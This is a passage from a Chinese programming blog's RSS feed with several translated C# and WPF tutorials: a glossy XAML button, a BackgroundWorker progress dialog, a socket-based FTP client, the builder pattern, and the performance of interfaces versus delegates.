&lt;p&gt;第三层是光的反射层。是最难的部分。问题是反射效果不能使用任何标准的形状来画。因此。使用路径（Path）来画反射区域。当时。手工画也是可以的。但老实说。手工画图实在没什么可享受的（除非你是一个艺术家，或者有一个数位板），无论如何。我现在MS Blend中华好一个椭圆并转换成一个路径，然后我使用贝塞尔曲线点调整得到平滑的路径，你可以添加渐变到一个复杂的Path对象上。就像你对其他与定义的图形，比如椭圆，矩形所做的一样。为了得到光泽反射。我额每年需要一个透明-白色的径向渐变填充，从路径的底部开始（也就是按钮的中间某处），结束在顶部。我想如果我是一个艺术家。我会让渐变更准一点。可是我不是。因此。就这样。因为我们要把我们的按钮放在一个Grid里。所有我们设置VerticalAlignment=&amp;ldquo;Top&amp;rdquo; 这样反射区域在按钮的中间的结束了。&lt;/p&gt;
&lt;p&gt;图三
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28014_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a837470f0822bf1b924293855638d696dc4dba4a.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;&amp;lt;!-- Reflection Layer --&amp;gt;
&amp;lt;Path x:Name=&#34;ReflectionLayer&#34; VerticalAlignment=&#34;Top&#34; Stretch=&#34;Fill&#34;&amp;gt;
  &amp;lt;Path.RenderTransform&amp;gt;
    &amp;lt;ScaleTransform ScaleY=&#34;0.5&#34; /&amp;gt;
  &amp;lt;/Path.RenderTransform&amp;gt;
  &amp;lt;Path.Data&amp;gt;
    &amp;lt;PathGeometry&amp;gt;
      &amp;lt;PathFigure IsClosed=&#34;True&#34; StartPoint=&#34;98.999,45.499&#34;&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;98.999,54.170&#34; Point2=&#34;89.046,52.258&#34; 
           Point3=&#34;85.502,51.029&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;75.860,47.685&#34; 
           Point2=&#34;69.111,45.196&#34; Point3=&#34;50.167,45.196&#34;/&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;30.805,45.196&#34; Point2=&#34;20.173,47.741&#34; 
           Point3=&#34;10.665,51.363&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;7.469,52.580&#34; 
           Point2=&#34;1.000,53.252&#34; Point3=&#34;1.000,44.999&#34;/&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;1.000,39.510&#34; Point2=&#34;0.884,39.227&#34; 
           Point3=&#34;2.519,34.286&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;9.106,14.370&#34; 
           Point2=&#34;27.875,0&#34; Point3=&#34;50,0&#34;/&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;72.198,0&#34; Point2=&#34;91.018,14.466&#34; 
           Point3=&#34;97.546,34.485&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;99.139,39.369&#34; 
           Point2=&#34;98.999,40.084&#34; Point3=&#34;98.999,45.499&#34;/&amp;gt;
      &amp;lt;/PathFigure&amp;gt;
    &amp;lt;/PathGeometry&amp;gt;
  &amp;lt;/Path.Data&amp;gt;
  &amp;lt;Path.Fill&amp;gt;
    &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.498,0.526&#34;&amp;gt;
      &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
        &amp;lt;TransformGroup&amp;gt;
          &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; 
            CenterY=&#34;0.5&#34; ScaleX=&#34;1&#34; ScaleY=&#34;1.997&#34;/&amp;gt;
          &amp;lt;TranslateTransform X=&#34;0&#34; Y=&#34;0.5&#34;/&amp;gt;
        &amp;lt;/TransformGroup&amp;gt;
      &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
      &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
      &amp;lt;GradientStop Offset=&#34;0.85&#34; Color=&#34;#92FFFFFF&#34;/&amp;gt;
      &amp;lt;GradientStop Offset=&#34;0&#34; Color=&#34;#00000000&#34;/&amp;gt;
    &amp;lt;/RadialGradientBrush&amp;gt;
  &amp;lt;/Path.Fill&amp;gt;
&amp;lt;/Path&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;!-- Reflection Layer --&gt;
&lt;p&gt;最后。我添加一个ContentPresenter 到按钮中间。经验告诉我，内容区域再向下一个像素会使得按钮看起来更漂亮。因此，在这里我用了margin属性（注意。因为内容区域在Grid的中间（Center）。所以2个像素的top实际上是向下移动了一个像素 ）&lt;/p&gt;
&lt;p&gt;好了。最后在Blend中看起来大概是这样&lt;/p&gt;
&lt;p&gt;图4
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28011_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/19fbafa7ad1cde09eafc0f6a70ac27b576e6302c.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.添加一些交互性&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.1鼠标悬停效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了有鼠标悬停效果，我们需要增加光源的亮度。因此。我们为IsMouseOver 事件定义一个触发器，复制并且粘贴反射和折射层的渐变设置代码。对于折射层。我仅仅移动了渐变的起点向上了一点。在反射层中。我改变了渐变停止点。使不透明的白色多一点。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Trigger Property=&#34;IsMouseOver&#34; Value=&#34;True&#34;&amp;gt;
  &amp;lt;Setter TargetName=&#34;RefractionLayer&#34; Property=&#34;Fill&#34;&amp;gt;
    &amp;lt;Setter.Value&amp;gt;
      &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.496,1.052&#34;&amp;gt;
        &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
          &amp;lt;TransformGroup&amp;gt;
            &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; CenterY=&#34;0.5&#34; 
               ScaleX=&#34;1.5&#34; ScaleY=&#34;1.5&#34;/&amp;gt;
            &amp;lt;TranslateTransform X=&#34;0.02&#34; Y=&#34;0.3&#34;/&amp;gt;
          &amp;lt;/TransformGroup&amp;gt;
        &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
      &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#00000000&#34;/&amp;gt;
      &amp;lt;GradientStop Offset=&#34;0.45&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
      &amp;lt;/RadialGradientBrush&amp;gt;
    &amp;lt;/Setter.Value&amp;gt;
  &amp;lt;/Setter&amp;gt;
  &amp;lt;Setter TargetName=&#34;ReflectionLayer&#34; Property=&#34;Fill&#34;&amp;gt;
    &amp;lt;Setter.Value&amp;gt;
      &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.498,0.526&#34;&amp;gt;
        &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
          &amp;lt;TransformGroup&amp;gt;
            &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; CenterY=&#34;0.5&#34; 
               ScaleX=&#34;1&#34; ScaleY=&#34;1.997&#34;/&amp;gt;
            &amp;lt;TranslateTransform X=&#34;0&#34; Y=&#34;0.5&#34;/&amp;gt;
          &amp;lt;/TransformGroup&amp;gt;
        &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
        &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
        &amp;lt;GradientStop Offset=&#34;0.85&#34; Color=&#34;#BBFFFFFF&#34;/&amp;gt;
        &amp;lt;GradientStop Offset=&#34;0&#34; Color=&#34;#00000000&#34;/&amp;gt;
      &amp;lt;/RadialGradientBrush&amp;gt;
    &amp;lt;/Setter.Value&amp;gt;
  &amp;lt;/Setter&amp;gt;
&amp;lt;/Trigger&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>C#制作进度窗体</title>
      <link>http://blog.leaver.me/2012/10/10/c%23%E5%88%B6%E4%BD%9C%E8%BF%9B%E5%BA%A6%E7%AA%97%E4%BD%93/</link>
      <pubDate>Wed, 10 Oct 2012 09:07:41 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/10/c%23%E5%88%B6%E4%BD%9C%E8%BF%9B%E5%BA%A6%E7%AA%97%E4%BD%93/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是我在CodeProject上的第一篇文章。我希望对你有用&lt;/p&gt;
&lt;p&gt;当我开发软件的时候。我通常因为一个很耗时是任务需要完成。而请求让用户等待，并且通过也允许用户取消。不论我做何种操作（比如下载文件。保存大文件等等）。我都需要做下面几件事：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过一个模态对话框来让用户等待操作完成&lt;/li&gt;
&lt;li&gt;能让用户看到进度。&lt;/li&gt;
&lt;li&gt;能让用户随时取消。
我搜了好久也没找到拿来就能用的窗体控件，也许是我没找到。于是我自己写。。
图1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9f46aad8d865255936532f68d592d8ffd45b8b3d.jpg&#34; title=&#34;progress&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;BackgroundWorker 类包含了我需要完成任务的所有东西。我只需要给他提供一个对话框。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ProgressForm 包含了一个BackgroundWorker ，你要做的仅仅就是提供了一个完成工作的方法。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;ProgressForm form = new ProgressForm();
form.DoWork += new ProgressForm.DoWorkEventHandler(form_DoWork);
//如果想为后台任务提供参数的话
form.Argument = something;&lt;/pre&gt;
&lt;p&gt;为了开始BackgroundWorker，只需要调用ShowDialog 方法。返回值则取决于任务是怎么完成的。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;DialogResult result = form.ShowDialog();
if (result == DialogResult.Cancel)
{
//用户点击了取消
}
else if (result == DialogResult.Abort)
{
/未处理的异常抛出
//你可以得到异常信息
MessageBox.Show(form.Result.Error.Message);
}
else if (result == DialogResult.OK)
{
//正常完成
//结果存储在 form.Result里
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后。任务方法看起来是这样的。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;void form_DoWork(ProgressForm sender, DoWorkEventArgs e)
{
//得到参数
object myArgument = e.Argument;

//做一些耗时的任务...
for (int i = 0; i &amp;lt; 100; i++)
{
//通知进度
sender.SetProgress(i, &#34;Step &#34; + i.ToString() + &#34; / 100...&#34;);

//...

//检查是否点击了取消
if (sender.CancellationPending)
{
e.Cancel = true;
return;
}
}
}&lt;/pre&gt;
&lt;p&gt;如果你想要改改进度条，或者进度条显示的文本。SetProgress 有一些重载的方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public void SetProgress(string status);
public void SetProgress(int percent);
public void SetProgress(int percent, string status);&lt;/pre&gt;
&lt;p&gt;最后一个可自定义的字符串是：有两个预定义的字符串CancellingText 和DefaultStatusText. CancellingText ，这两个字符串，当用户点击取消的时候显示&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如何实现&lt;/strong&gt;
ProgressForm 紧紧嵌入了一个BackgroundWorker ，并包装进了主函数。&lt;/p&gt;
&lt;p&gt;首先。我设计了如图所示的一个窗体，然后。添加了BackgroundWorker。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public partial class ProgressForm : Form
{
public ProgressForm()
{
InitializeComponent();

worker = new BackgroundWorker();
worker.WorkerReportsProgress = true;
worker.WorkerSupportsCancellation = true;
worker.DoWork += new System.ComponentModel.DoWorkEventHandler(worker_DoWork);
worker.ProgressChanged += new ProgressChangedEventHandler(
worker_ProgressChanged);
worker.RunWorkerCompleted += new RunWorkerCompletedEventHandler(
worker_RunWorkerCompleted);
}
void worker_DoWork(object sender, DoWorkEventArgs e)
{
}
void worker_ProgressChanged(object sender, ProgressChangedEventArgs e)
{
}
void worker_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
{
}
BackgroundWorker worker;
}&lt;/pre&gt;
&lt;p&gt;我们必须把DoWork事件暴露给用户。我添加了一个委托。这样。我可以很容易的访问窗体成员&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#编写FTP客户端软件</title>
      <link>http://blog.leaver.me/2012/10/09/c%23%E7%BC%96%E5%86%99ftp%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%BD%AF%E4%BB%B6/</link>
      <pubDate>Tue, 09 Oct 2012 09:06:16 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/09/c%23%E7%BC%96%E5%86%99ftp%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%BD%AF%E4%BB%B6/</guid>
      <description>&lt;h1&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27933_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/df5f8fbfeaeabe639c893a078ddeda6cac4361db.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;h1 id=&#34;1-介绍&#34;&gt;1 介绍&lt;/h1&gt;
&lt;p&gt;我知道。网上有很多现成的FTP软件。但是。我们也想要了解FTP的一些底层机构，因此。 这个开源的项目在你学习FTP知识的时候也许对你有些帮组。程序的界面看起来像FileZilla，FileZilla虽然流行但是有些bug，当我打开我博客的时候总是有问题。我需要通过FTP连接我的服务器。发送文件，下载文件等等。因为。我决定写我自己的软件来处理所有的情况。FileZilla足够好。但它不是我的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;2-背景&#34;&gt;2 背景&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;看看我们已经知道的。我们知道FTP是一个标准的基于TCP网络协议。用于从一个主机向另一个主机传输文件。它是一个C/S架构。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;图2&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27934_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ceb7abd419bd3e983fa8f9cbf1962546cc0880a4.gif&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;FTP程序曾经是基于命令行的。我们仍沿可以通过cmd.exe连接FTP服务器。因为FTP的确可以通过命令来操作。举个例子。我们可以在命令行使用“stor”命令来发送文件。为了完成这些请求。FTP服务器需要一直运行等待即将到来的客户端请求。我们可以从来自维基百科的解释更好的理解FTP：&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;客户端计算机可以通过服务器的21端口和服务器通信。叫做控制连接。它在一次会话期间保持开放。第一次连接的时候。叫做数据连接,服务器可以对客户端打开20端口（主动模式），建立一条数据通路，连接上客户端传输数据。或者客户端打开一个随机的端口（被动模式），去连接服务器，来传输数据。控制连接使用一个类似Telnet的协议，被用作客户端和服务器会话管理（命令，标识，密码）。。比如。&amp;ldquo;RETR &lt;em&gt;filename&lt;/em&gt;&amp;rdquo;  会从服务器端下载文件。&lt;/p&gt;
&lt;p&gt;图三&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9c06cc0d8d904390202ef269a18467324df590c9.gif&#34; title=&#34;3&#34;&gt;&lt;/p&gt;
&lt;p&gt;一个完整的FTP文件传输需要建立两种类型的连接，一种为文件传输下命令，称为控制连接，另一种实现真正的文件传输，称为数据连接。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;服务器 通过三位ASCII的数字状态码，可能包含可选的描述信息，在控制连接上做出回应。比如。“200”或者是“200 OK”,表示上一条命令成功了。数字代表编号，描述信息给出了一些说明（比如“OK”）,或者可能是一些需要的参数(比如需要帐号来存储文件)，那么我们需要怎么做呢。很明显。发送命令，接收“OK”回应，发送数据。接收数据。完了。但是首先需要服务器已经准备好了。FTP服务器可以在主动和被动两种模式下运行。主动模式是基于服务器的连接而被动模式是基友客户端的连接。继续看。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;在主动连接中，客户端把自己的ip和端口发送给服务器。然后服务器尝试连接到客户端，但是可能会因为防火墙的原因而被拒绝。我们在windows上都会使用反病毒/自带防火墙。是吧。那么我们来看看被动模式&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;在被动连接中。服务器通过一个“PASV”命令把自己的ip和端口发送给客户端。然后客户端通过该IP尝试连接服务器。对于发送文件非常有用。当我们发送文件的时候。优先使用“PASV”模式，如你们所说。大多数协议。像FTP/HTTP 使用ASCII编码，因为全球可用。因此我们会使用这种编码。你可以从下面得到FTP的命令列表&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;主动和被动都是对于服务器端来说的&lt;/p&gt;
&lt;h1 id=&#34;3-使用代码&#34;&gt;3 使用代码&lt;/h1&gt;
&lt;p&gt;现在我们已经为编写软件做好准备了。我们写些有用的代码吧。：）首先。我们“打开文件对话框”，集成到我们的窗体里。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;31-资源管理器组件&#34;&gt;3.1 资源管理器组件&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;我们需要一个资源管理器组件在软件界面可以看到我们所有的文件。这样我们才可以选择哪些文件来发送到FTP服务器，新建一个Windows窗体控件库（下载包中提供了）&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;图四&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27937_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b2ae5f59d51b1a183a0ceea50a2c9497971422e7.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后看起来样子是上面这样。先添加一个TreeView，一些按钮，和一个搜索功能&lt;/p&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;TreeView.Nodes.Clear();
&lt;p&gt;TreeNode nodeD = new TreeNode();&lt;/p&gt;
&lt;p&gt;nodeD.Tag = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);&lt;/p&gt;
&lt;p&gt;nodeD.Text = &amp;ldquo;Desktop&amp;rdquo;;&lt;/p&gt;
&lt;p&gt;nodeD.ImageIndex = 10;&lt;/p&gt;
&lt;p&gt;nodeD.SelectedImageIndex = 10;&lt;/p&gt;
&lt;p&gt;TreeView.Nodes.Add(nodeD);&lt;/pre&gt;
 &lt;/p&gt;
&lt;/div&gt;
就像上面代码展示的那样。我们需要添加地一个主节点。我的文档。我的电脑等等。然后获得子目录。
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;string[] dirList;
dirList = Directory.GetDirectories(parentNode.Tag.ToString());
Array.Sort(dirList);
if (dirList.Length == parentNode.Nodes.Count)
    return;
for (int i = 0; i &amp;lt; dirList.Length; i++)
{
    node = new TreeNode();
    node.Tag = dirList[i]; 
    node.Text = dirList[i].Substring(dirList[i].LastIndexOf(@&#34;\&#34;) + 1);
    node.ImageIndex = 1;
    parentNode.Nodes.Add(node);
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;可以从下载包里看到完整的代码。我们还应该处理鼠标单击事件。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;现在我们有了一个资源管理器。还有FTP和VS所需要的所有信息。&lt;/p&gt;
&lt;p&gt;首先，我们连接服务器。我们应该怎么做呢？&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;FTPSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
AppendText(rchLog,&#34;Status : Resolving IP Address\n&#34;,Color.Red);
remoteAddress = Dns.GetHostEntry(Server).AddressList[0];
AppendText(rchLog, &#34;Status : IP Address Found -&amp;gt;&#34; + remoteAddress.ToString() + &#34;\n&#34;, Color.Red);
addrEndPoint = new IPEndPoint(remoteAddress, Port);
AppendText(rchLog,&#34;Status : EndPoint Found -&amp;gt;&#34; + addrEndPoint.ToString() + &#34;\n&#34;, Color.Red);
FTPSocket.Connect(addrEndPoint);
是的。我们需要一个socket连接到服务器 ，然后发送命令

AppendText(rchLog, &#34;Command : &#34; + msg + &#34;\n&#34;, Color.Blue);
Byte[] CommandBytes = Encoding.ASCII.GetBytes((msg + &#34;\r\n&#34;).ToCharArray());
FTPSocket.Send(CommandBytes, CommandBytes.Length, 0);
//read Response
ReadResponse();&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现生成器模式</title>
      <link>http://blog.leaver.me/2012/10/08/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E7%94%9F%E6%88%90%E5%99%A8%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Mon, 08 Oct 2012 13:11:16 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/08/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E7%94%9F%E6%88%90%E5%99%A8%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;h1 id=&#34;介绍&#34;&gt;介绍&lt;/h1&gt;
&lt;p&gt;本文讨论生成器设计模式，讨论该模式什么情况下使用，怎么实现。并且。最后会有一个简单的生成器模式的实现。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;当我们的程序需要创建一个对象。而这个对象必须由很多不同的对象来构造的时候。为了构造最后的对象。我们不得不组合那些部分对象。最后我们会发现我们的代码被各种各样的部分对象的细节所弄的难以理解&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;为了说明上面的情况。我们做一个手机生产制造系统的例子。假定我们我们有一个已经安装在手机供应商那块的一个系统。现在供应商系那个要根据一些参数来创造一个新手机。比如触屏，操作系统，电池等。如果我们已经有了这些部分的对象，那么上述部分的任意组合将会导致客户端代码复杂难以管理。比如决定生产哪种手机的模块。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;生成器模式目的就是解决上述问题的。GoF定义生成器模式如下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Separate the construction of a complex object from its representation so that the same construction process can create different representations&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;将一个复杂对象的构建与它的表示分离，使得同样的构建过程可以创建不同的表示。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;这个定义意味着我们不得不设计这个系统。通过一种客户端仅仅定义参数，而生成器则接管创建复杂对象 的方式。我们看一下生成器模式的类图。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27924_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/489ad862ea61f21ae79e749c31fb0aef3c0eea45.jpg&#34; title=&#34;gof&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后看看上图中的每一个类都表示什么&lt;/p&gt;
&lt;p&gt;ConcreteBuilder: 创建复杂产品的具体类.将会知道他已经创建的Product（产品），也就是他已经装配了的Product， 客户端通过该类得到Product对象.&lt;/p&gt;
&lt;p&gt;Builder: 创建Product的接口&lt;/p&gt;
&lt;p&gt;Director: 客户端代码，定义了哪些部分应该被组合在一起来创建具体的Product&lt;/p&gt;
&lt;p&gt;Product: 这是通过组合很多部分创建的对象&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;使用代码&#34;&gt;使用代码&lt;/h1&gt;
&lt;p&gt;我们现在跟随上述的定义，然后试着去实现一个基本的生成器模式&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;我们先在合适的地方定义Product的不同部分，我们简单的定义一些枚举类型，那么我们就可以通过组合不同的部分创建Product了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 一些helper枚举定义各种零件

public enum ScreenType

{

    ScreenType_TOUCH_CAPACITIVE,

    ScreenType_TOUCH_RESISTIVE,

    ScreenType_NON_TOUCH

};

public enum Battery

{

    MAH_1000,

    MAH_1500,

    MAH_2000

};

public enum OperatingSystem

{

    ANDROID,

    WINDOWS_MOBILE,

    WINDOWS_PHONE,

    SYMBIAN

};

public enum Stylus

{

    YES,

    NO

};&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后，我们看一下Product类，我们需要有一个可以通过装配创建的Product类，这里我们定义一个MobilePhone类，也就是概念里的Product类了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 这是 &#34;Product&#34; 类

class MobilePhone

{

    // 不同部分的字段

    string phoneName;      

    ScreenType phoneScreen;

    Battery phoneBattery;

    OperatingSystem phoneOS;

    Stylus phoneStylus;

    public MobilePhone(string name)

    {

        phoneName = name;

    }

    //公有属性访问这些部分

    public string PhoneName

    {

        get { return phoneName; }           

    }

    public ScreenType PhoneScreen

    {

        get { return phoneScreen; }

        set { phoneScreen = value; }

    }       

    public Battery PhoneBattery

    {

        get { return phoneBattery; }

        set { phoneBattery = value; }

    }       

    public OperatingSystem PhoneOS

    {

        get { return phoneOS; }

        set { phoneOS = value; }

    }      

    public Stylus PhoneStylus

    {

        get { return phoneStylus; }

        set { phoneStylus = value; }

    }

    // 显示手机相关信息的方法

    public override string ToString()

    {

        return string.Format(&#34;Name: {0}\nScreen: {1}\nBattery {2}\nOS: {3}\nStylus: {4}&#34;,

            PhoneName, PhoneScreen, PhoneBattery, PhoneOS, PhoneStylus);

    }

}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>接口VS 委托</title>
      <link>http://blog.leaver.me/2012/10/07/%E6%8E%A5%E5%8F%A3vs-%E5%A7%94%E6%89%98/</link>
      <pubDate>Sun, 07 Oct 2012 08:31:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/07/%E6%8E%A5%E5%8F%A3vs-%E5%A7%94%E6%89%98/</guid>
      <description>&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;对于指定的任务有不同的方案可供选择，通常是很好的。因为可能某一种方案会更加适合该任务，但是有时候做决定会很难。因为这些不同的方案有其各自的优缺点。&lt;/p&gt;
&lt;p&gt;我经常会停下来好好想想，是不是接口比委托更适合或者是更不适合某个任务。有时候我甚至会回去看我写的代码，这些代码刚开始使用委托来实现，我后来用接口替换掉。因此，是时候写篇文章来阐述一下这两种技术的优缺点了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;性能&#34;&gt;性能&lt;/h1&gt;
&lt;p&gt;我经常看到有人问接口是不是比委托更快啊。或者是不是相反。通常。别人给的答案会是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;接口更快。委托相当慢&lt;/li&gt;
&lt;li&gt;委托更快，因为他们是指向方法的指针，接口则需要一个v-table(虚函数解析表)，然后找到委托&lt;/li&gt;
&lt;li&gt;他们一样快，但委托更容易使用
 &lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;好吧。那些都是错的。也许在.Net 1中。委托真的很慢。但是事实是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;委托执行（execute）的时候更快&lt;/li&gt;
&lt;li&gt;接口获得（get）的时候更快
在下面这段代码中：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Action action = SomeMethod;&lt;/pre&gt;
&lt;p&gt;我们将得到一个Action(委托类型)来调用SomeMethod。问题是：委托是包含被调用方法的实例和指针的引用类型。而不仅仅只是一个指向方法的指针，通过引用类型，委托需要分配内存，因此，每一次你把一个方法变换成一个委托的时候。都会分配一个新的对象。&lt;/p&gt;
&lt;p&gt;如果委托是一个值类型。会有些不一样。但是他们不是。。&lt;/p&gt;
&lt;p&gt;另一方面，如果我们这样写代码：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;IRunnable runnable = this;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;如果实现了IRunnable接口的对象。我们简单通过一个转换得到同样的引用。没有涉及内存分配。我们将可以通过下面的代码来进行速度比较：&lt;/p&gt;
&lt;p&gt;对于委托：&lt;/p&gt;
